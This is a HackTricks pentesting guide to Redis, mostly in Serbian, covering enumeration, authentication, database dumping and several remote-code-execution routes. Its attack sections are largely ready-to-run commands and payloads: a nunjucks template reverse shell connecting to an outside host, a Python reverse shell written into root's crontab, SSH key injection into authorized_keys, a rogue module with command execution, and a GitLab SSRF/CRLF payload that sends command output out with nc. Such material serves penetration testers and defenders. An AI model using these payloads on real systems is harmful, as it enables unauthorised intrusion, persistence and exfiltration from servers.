# 6379 - Pentesting Redis
{% hint style="success" %}
Learn & practice AWS Hacking:[**HackTricks Training AWS Red Team Expert (ARTE)**](https://training.hacktricks.xyz/courses/arte)\
Learn & practice GCP Hacking: [**HackTricks Training GCP Red Team Expert (GRTE)**](https://training.hacktricks.xyz/courses/grte)
Support HackTricks
* Check the [**subscription plans**](https://github.com/sponsors/carlospolop)!
* **Join the** 💬 [**Discord group**](https://discord.gg/hRep4RUj7f) or the [**telegram group**](https://t.me/peass) or **follow** us on **Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**.**
* **Share hacking tricks by submitting PRs to the** [**HackTricks**](https://github.com/carlospolop/hacktricks) and [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github repos.
{% endhint %}
Join [**HackenProof Discord**](https://discord.com/invite/N3FrSbmwdy) server to communicate with experienced hackers and bug bounty hunters!
**Hacking Insights**\
Engage with content that delves into the thrill and challenges of hacking
**Real-Time Hack News**\
Keep up-to-date with fast-paced hacking world through real-time news and insights
**Latest Announcements**\
Stay informed with the newest bug bounties launching and crucial platform updates
**Join us on** [**Discord**](https://discord.com/invite/N3FrSbmwdy) and start collaborating with top hackers today!
## Osnovne informacije
From [the docs](https://redis.io/topics/introduction): Redis je open source (BSD licenciran), u memoriji **skladište podataka**, korišćeno kao **baza podataka**, keš i posrednik poruka).
Po defaultu, Redis koristi protokol zasnovan na običnom tekstu, ali treba imati na umu da takođe može implementirati **ssl/tls**. Learn how to [run Redis with ssl/tls here](https://fossies.org/linux/redis/TLS.md).
**Podrazumevani port:** 6379
```
PORT STATE SERVICE VERSION
6379/tcp open redis Redis key-value store 4.0.9
```
## Автоматска Енумерација
Неколико автоматизованих алата који могу помоћи у добијању информација из redis инстанце:
```bash
nmap --script redis-info -sV -p 6379
msf> use auxiliary/scanner/redis/redis_server
```
## Ručna Enumeracija
### Baner
Redis je **protokol zasnovan na tekstu**, možete jednostavno **poslati komandu u soket** i vraćene vrednosti će biti čitljive. Takođe zapamtite da Redis može raditi koristeći **ssl/tls** (ali to je veoma neobično).
U regularnoj Redis instanci možete se jednostavno povezati koristeći `nc` ili možete koristiti i `redis-cli`:
```bash
nc -vn 10.10.10.10 6379
redis-cli -h 10.10.10.10 # sudo apt-get install redis-tools
```
Prva komanda koju možete probati je **`info`**. Ona može vratiti izlaz sa informacijama o Redis instanci ili nešto poput sledećeg:
```
-NOAUTH Authentication required.
```
U ovom poslednjem slučaju, to znači da **vam trebaju važeće akreditive** za pristup Redis instanci.
### Redis Autentifikacija
**Podrazumevano** Redis se može pristupiti **bez akreditiva**. Međutim, može biti **konfiguran** da podrži **samo lozinku, ili korisničko ime + lozinku**.\
Moguće je **postaviti lozinku** u _**redis.conf**_ datoteci sa parametrima `requirepass` **ili privremeno** dok se usluga ne restartuje povezivanjem na nju i pokretanjem: `config set requirepass p@ss$12E45`.\
Takođe, **korisničko ime** može biti konfigurisano u parametru `masteruser` unutar _**redis.conf**_ datoteke.
{% hint style="info" %}
Ako je samo lozinka konfigurisana, korisničko ime koje se koristi je "**default**".\
Takođe, imajte na umu da **ne postoji način da se spolja** sazna da li je Redis konfiguran samo sa lozinkom ili korisničkim imenom + lozinkom.
{% endhint %}
U slučajevima poput ovog, **trebaće vam da pronađete važeće akreditive** da biste interagovali sa Redis-om, pa možete pokušati da [**brute-force**](../generic-methodologies-and-resources/brute-force.md#redis) to.\
**U slučaju da pronađete važeće akreditive, potrebno je da autentifikujete sesiju** nakon uspostavljanja veze sa komandom:
```bash
AUTH
```
**Validni kredencijali** će odgovoriti sa: `+OK`
### **Autentifikovana enumeracija**
Ako Redis server dozvoljava **anonimne konekcije** ili ako ste dobili validne kredencijale, možete započeti proces enumeracije za servis koristeći sledeće **komande**:
```bash
INFO
[ ... Redis response with info ... ]
client list
[ ... Redis response with connected clients ... ]
CONFIG GET *
[ ... Get config ... ]
```
**Ostale Redis komande** [**se mogu naći ovde**](https://redis.io/topics/data-types-intro) **i** [**ovde**](https://lzone.de/cheat-sheet/Redis)**.**
Napomena da se **Redis komande instance mogu preimenovati** ili ukloniti u _redis.conf_ datoteci. Na primer, ova linija će ukloniti komandu FLUSHDB:
```
rename-command FLUSHDB ""
```
Više o bezbednoj konfiguraciji Redis usluge ovde: [https://www.digitalocean.com/community/tutorials/how-to-install-and-secure-redis-on-ubuntu-18-04](https://www.digitalocean.com/community/tutorials/how-to-install-and-secure-redis-on-ubuntu-18-04)
Takođe možete **pratiti u realnom vremenu Redis komande** koje se izvršavaju sa komandom **`monitor`** ili dobiti top **25 najsporijih upita** sa **`slowlog get 25`**
Pronađite više zanimljivih informacija o više Redis komandi ovde: [https://lzone.de/cheat-sheet/Redis](https://lzone.de/cheat-sheet/Redis)
### **Dumping Database**
Unutar Redis-a **baze podataka su brojevi počevši od 0**. Možete saznati da li se bilo koja koristi u izlazu komande `info` unutar "Keyspace" dela:
![](<../.gitbook/assets/image (766).png>)
Ili možete jednostavno dobiti sve **keyspace-ove** (baze podataka) sa:
```
INFO keyspace
```
U tom primeru se koriste **baze podataka 0 i 1**. **Baza podataka 0 sadrži 4 ključa, a baza podataka 1 sadrži 1**. Po defaultu, Redis će koristiti bazu podataka 0. Da biste dumpovali, na primer, bazu podataka 1, potrebno je da uradite:
```bash
SELECT 1
[ ... Indicate the database ... ]
KEYS *
[ ... Get Keys ... ]
GET
[ ... Get Key ... ]
```
U slučaju da dobijete sledeću grešku `-WRONGTYPE Operation against a key holding the wrong kind of value` dok izvršavate `GET `, to je zato što ključ može biti nešto drugo osim stringa ili celog broja i zahteva poseban operator za prikazivanje.
Da biste saznali tip ključa, koristite komandu `TYPE`, primer ispod za listu i hash ključeve.
```bash
TYPE
[ ... Type of the Key ... ]
LRANGE 0 -1
[ ... Get list items ... ]
HGET
[ ... Get hash item ... ]
# If the type used is weird you can always do:
DUMP
```
**Dump the database with npm**[ **redis-dump**](https://www.npmjs.com/package/redis-dump) **or python** [**redis-utils**](https://pypi.org/project/redis-utils/)
Join [**HackenProof Discord**](https://discord.com/invite/N3FrSbmwdy) server to communicate with experienced hackers and bug bounty hunters!
**Hacking Insights**\
Angažujte se sa sadržajem koji se bavi uzbuđenjem i izazovima hakovanja
**Real-Time Hack News**\
Budite u toku sa brzim svetom hakovanja kroz vesti i uvide u realnom vremenu
**Latest Announcements**\
Budite informisani o najnovijim nagradama za greške i važnim ažuriranjima platformi
**Join us on** [**Discord**](https://discord.com/invite/N3FrSbmwdy) and start collaborating with top hackers today!
## Redis RCE
### Interactive Shell
[**redis-rogue-server**](https://github.com/n0b0dyCN/redis-rogue-server) može automatski dobiti interaktivnu ljusku ili obrnutu ljusku u Redis-u (<=5.0.5).
```
./redis-rogue-server.py --rhost --lhost
```
### PHP Webshell
Informacije iz [**ovde**](https://web.archive.org/web/20191201022931/http://reverse-tcp.xyz/pentest/database/2017/02/09/Redis-Hacking-Tips.html). Morate znati **putanju** **foldera veb sajta**:
```
root@Urahara:~# redis-cli -h 10.85.0.52
10.85.0.52:6379> config set dir /usr/share/nginx/html
OK
10.85.0.52:6379> config set dbfilename redis.php
OK
10.85.0.52:6379> set test ""
OK
10.85.0.52:6379> save
OK
```
Ako dođe do izuzetka pristupa webshell-u, možete isprazniti bazu podataka nakon pravljenja rezervne kopije i pokušati ponovo, zapamtite da vratite bazu podataka.
### Template Webshell
Kao u prethodnom odeljku, takođe možete prepisati neki html template fajl koji će biti interpretiran od strane template engine-a i dobiti shell.
Na primer, prateći [**ovaj izveštaj**](https://www.neteye-blog.com/2022/05/cyber-apocalypse-ctf-2022-red-island-writeup/), možete videti da je napadač ubacio **rev shell u html** koji interpretira **nunjucks template engine:**
```javascript
{{ ({}).constructor.constructor(
"var net = global.process.mainModule.require('net'),
cp = global.process.mainModule.require('child_process'),
sh = cp.spawn('sh', []);
var client = new net.Socket();
client.connect(1234, 'my-server.com', function(){
client.pipe(sh.stdin);
sh.stdout.pipe(client);
sh.stderr.pipe(client);
});"
)()}}
```
{% hint style="warning" %}
Napomena da **nekoliko engine-a za šablone kešira** šablone u **memoriji**, tako da čak i ako ih prepišete, novi **neće biti izvršen**. U ovim slučajevima, ili je programer ostavio automatsko ponovno učitavanje aktivno ili treba da uradite DoS nad uslugom (i očekujete da će biti automatski ponovo pokrenuta).
{% endhint %}
### SSH
Primer [odavde](https://blog.adithyanak.com/oscp-preparation-guide/enumeration)
Molimo vas da budete svesni da se rezultat **`config get dir`** može promeniti nakon drugih ručnih eksploatacionih komandi. Preporučuje se da ga pokrenete prvo odmah nakon prijavljivanja u Redis. U izlazu **`config get dir`** možete pronaći **home** **redis korisnika** (obično _/var/lib/redis_ ili _/home/redis/.ssh_), i znajući ovo znate gde možete napisati datoteku `authenticated_users` za pristup putem ssh **sa korisnikom redis**. Ako znate home drugog važećeg korisnika gde imate dozvole za pisanje, možete ga takođe zloupotrebiti:
1. Generišite ssh javni-privatni ključ na vašem računaru: **`ssh-keygen -t rsa`**
2. Napišite javni ključ u datoteku : **`(echo -e "\n\n"; cat ~/id_rsa.pub; echo -e "\n\n") > spaced_key.txt`**
3. Uvezite datoteku u redis : **`cat spaced_key.txt | redis-cli -h 10.85.0.52 -x set ssh_key`**
4. Sačuvajte javni ključ u **authorized\_keys** datoteci na redis serveru:
```
root@Urahara:~# redis-cli -h 10.85.0.52
10.85.0.52:6379> config set dir /var/lib/redis/.ssh
OK
10.85.0.52:6379> config set dbfilename "authorized_keys"
OK
10.85.0.52:6379> save
OK
```
5. Na kraju, možete **ssh** na **redis server** sa privatnim ključem : **ssh -i id\_rsa redis@10.85.0.52**
**Ova tehnika je automatizovana ovde:** [https://github.com/Avinash-acid/Redis-Server-Exploit](https://github.com/Avinash-acid/Redis-Server-Exploit)
### Crontab
```
root@Urahara:~# echo -e "\n\n*/1 * * * * /usr/bin/python -c 'import socket,subprocess,os;s=socket.socket(socket.AF_INET,socket.SOCK_STREAM);s.connect((\"10.85.0.53\",8888));os.dup2(s.fileno(),0); os.dup2(s.fileno(),1); os.dup2(s.fileno(),2);p=subprocess.call([\"/bin/sh\",\"-i\"]);'\n\n"|redis-cli -h 10.85.0.52 -x set 1
OK
root@Urahara:~# redis-cli -h 10.85.0.52 config set dir /var/spool/cron/crontabs/
OK
root@Urahara:~# redis-cli -h 10.85.0.52 config set dbfilename root
OK
root@Urahara:~# redis-cli -h 10.85.0.52 save
OK
```
Poslednji primer je za Ubuntu, za **Centos**, gornja komanda bi trebala biti: `redis-cli -h 10.85.0.52 config set dir /var/spool/cron/`
Ova metoda se takođe može koristiti za zarađivanje bitcoina :[yam](https://www.v2ex.com/t/286981#reply14)
### Učitaj Redis Modul
1. Prateći uputstva sa [https://github.com/n0b0dyCN/RedisModules-ExecuteCommand](https://github.com/n0b0dyCN/RedisModules-ExecuteCommand) možete **kompilirati redis modul za izvršavanje proizvoljnih komandi**.
2. Zatim vam je potreban način da **otpremite kompajlirani** modul.
3. **Učitajte otpremljeni modul** u vreme izvršavanja sa `MODULE LOAD /path/to/mymodule.so`.
4. **Prikažite učitane module** da proverite da li je ispravno učitan: `MODULE LIST`.
5. **Izvršite** **komande**:
```
127.0.0.1:6379> system.exec "id"
"uid=0(root) gid=0(root) groups=0(root)\n"
127.0.0.1:6379> system.exec "whoami"
"root\n"
127.0.0.1:6379> system.rev 127.0.0.1 9999
```
6. Otpustite modul kad god želite: `MODULE UNLOAD mymodule`.
### LUA sandbox zaobilaženje
[**Ovde**](https://www.agarri.fr/blog/archives/2014/09/11/trying\_to\_hack\_redis\_via\_http\_requests/index.html) možete videti da Redis koristi komandu **EVAL** za izvršavanje **Lua koda u sandboxu**. U povezanom postu možete videti **kako to zloupotrebiti** koristeći funkciju **dofile**, ali [očigledno](https://stackoverflow.com/questions/43502696/redis-cli-code-execution-using-eval) to više nije moguće. U svakom slučaju, ako možete **zaobići Lua** sandbox mogli biste **izvršiti proizvoljne** komande na sistemu. Takođe, iz istog posta možete videti neke **opcije za izazivanje DoS**.
Neki **CVE-ovi za izlazak iz LUA**:
* [https://github.com/aodsec/CVE-2022-0543](https://github.com/aodsec/CVE-2022-0543)
### Master-Slave Modul
Master redis sve operacije automatski sinhronizuje sa slave redis, što znači da možemo smatrati ranjivost redis kao slave redis, povezan sa master redis koji kontrolišemo, zatim možemo uneti komandu u naš vlastiti redis.
```
master redis : 10.85.0.51 (Hacker's Server)
slave redis : 10.85.0.52 (Target Vulnerability Server)
A master-slave connection will be established from the slave redis and the master redis:
redis-cli -h 10.85.0.52 -p 6379
slaveof 10.85.0.51 6379
Then you can login to the master redis to control the slave redis:
redis-cli -h 10.85.0.51 -p 6379
set mykey hello
set mykey2 helloworld
```
## SSRF razgovor sa Redis-om
Ako možete poslati **čist tekst** zahtev **ka Redis-u**, možete **komunicirati sa njim** jer će Redis čitati red po red zahtev i jednostavno odgovarati greškama na redove koje ne razume:
```
-ERR wrong number of arguments for 'get' command
-ERR unknown command 'Host:'
-ERR unknown command 'Accept:'
-ERR unknown command 'Accept-Encoding:'
-ERR unknown command 'Via:'
-ERR unknown command 'Cache-Control:'
-ERR unknown command 'Connection:'
```
Zato, ako pronađete **SSRF vuln** na veb sajtu i možete **kontrolisati** neke **header-e** (možda sa CRLF vuln) ili **POST parametre**, moći ćete da šaljete proizvoljne komande Redis-u.
### Primer: Gitlab SSRF + CRLF do Shell
U **Gitlab11.4.7** otkrivene su **SSRF** ranjivosti i **CRLF**. **SSRF** ranjivost je bila u **funkcionalnosti uvoza projekta sa URL-a** prilikom kreiranja novog projekta i omogućila je pristup proizvoljnim IP-ovima u formi \[0:0:0:0:0:ffff:127.0.0.1] (ovo će pristupiti 127.0.0.1), a **CRLF** vuln je iskorišćen jednostavno **dodavanjem %0D%0A** karaktera u **URL**.
Zato je bilo moguće **zloupotrebiti ove ranjivosti da komunicirate sa Redis instancom** koja **upravlja redovima** iz **gitlab-a** i zloupotrebiti te redove da **dobijete izvršenje koda**. Payload za zloupotrebu Redis reda je:
```
multi
sadd resque:gitlab:queues system_hook_push
lpush resque:gitlab:queue:system_hook_push "{\"class\":\"GitlabShellWorker\",\"args\":[\"class_eval\",\"open(\'|whoami | nc 192.241.233.143 80\').read\"],\"retry\":3,\"queue\":\"system_hook_push\",\"jid\":\"ad52abc5641173e217eb2e52\",\"created_at\":1513714403.8122594,\"enqueued_at\":1513714403.8129568}"
exec
```
I zahtev **URL encode** koji **zloupotrebljava SSRF** i **CRLF** da izvrši `whoami` i pošalje izlaz putem `nc` je:
```
git://[0:0:0:0:0:ffff:127.0.0.1]:6379/%0D%0A%20multi%0D%0A%20sadd%20resque%3Agitlab%3Aqueues%20system%5Fhook%5Fpush%0D%0A%20lpush%20resque%3Agitlab%3Aqueue%3Asystem%5Fhook%5Fpush%20%22%7B%5C%22class%5C%22%3A%5C%22GitlabShellWorker%5C%22%2C%5C%22args%5C%22%3A%5B%5C%22class%5Feval%5C%22%2C%5C%22open%28%5C%27%7Ccat%20%2Fflag%20%7C%20nc%20127%2E0%2E0%2E1%202222%5C%27%29%2Eread%5C%22%5D%2C%5C%22retry%5C%22%3A3%2C%5C%22queue%5C%22%3A%5C%22system%5Fhook%5Fpush%5C%22%2C%5C%22jid%5C%22%3A%5C%22ad52abc5641173e217eb2e52%5C%22%2C%5C%22created%5Fat%5C%22%3A1513714403%2E8122594%2C%5C%22enqueued%5Fat%5C%22%3A1513714403%2E8129568%7D%22%0D%0A%20exec%0D%0A%20exec%0D%0A/ssrf123321.git
```
_Iz nekog razloga (kao za autora_ [_https://liveoverflow.com/gitlab-11-4-7-remote-code-execution-real-world-ctf-2018/_](https://liveoverflow.com/gitlab-11-4-7-remote-code-execution-real-world-ctf-2018/) _odakle je ova informacija preuzeta) eksploatacija je radila sa `git` shemom, a ne sa `http` shemom._
Pridružite se [**HackenProof Discord**](https://discord.com/invite/N3FrSbmwdy) serveru da komunicirate sa iskusnim hakerima i lovcima na greške!
**Hacking Insights**\
Uključite se u sadržaj koji se bavi uzbuđenjem i izazovima hakovanja
**Real-Time Hack News**\
Budite u toku sa brzim svetom hakovanja kroz vesti i uvide u realnom vremenu
**Latest Announcements**\
Budite informisani o najnovijim nagradama za greške i važnim ažuriranjima platformi
**Pridružite nam se na** [**Discord**](https://discord.com/invite/N3FrSbmwdy) i počnite da sarađujete sa vrhunskim hakerima danas!
{% hint style="success" %}
Učite i vežbajte AWS Hacking:[**HackTricks Training AWS Red Team Expert (ARTE)**](https://training.hacktricks.xyz/courses/arte)\
Učite i vežbajte GCP Hacking: [**HackTricks Training GCP Red Team Expert (GRTE)**](https://training.hacktricks.xyz/courses/grte)
Support HackTricks
* Proverite [**planove pretplate**](https://github.com/sponsors/carlospolop)!
* **Pridružite se** 💬 [**Discord grupi**](https://discord.gg/hRep4RUj7f) ili [**telegram grupi**](https://t.me/peass) ili **pratite** nas na **Twitteru** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**.**
* **Podelite hakerske trikove slanjem PR-ova na** [**HackTricks**](https://github.com/carlospolop/hacktricks) i [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github repozitorijume.
{% endhint %}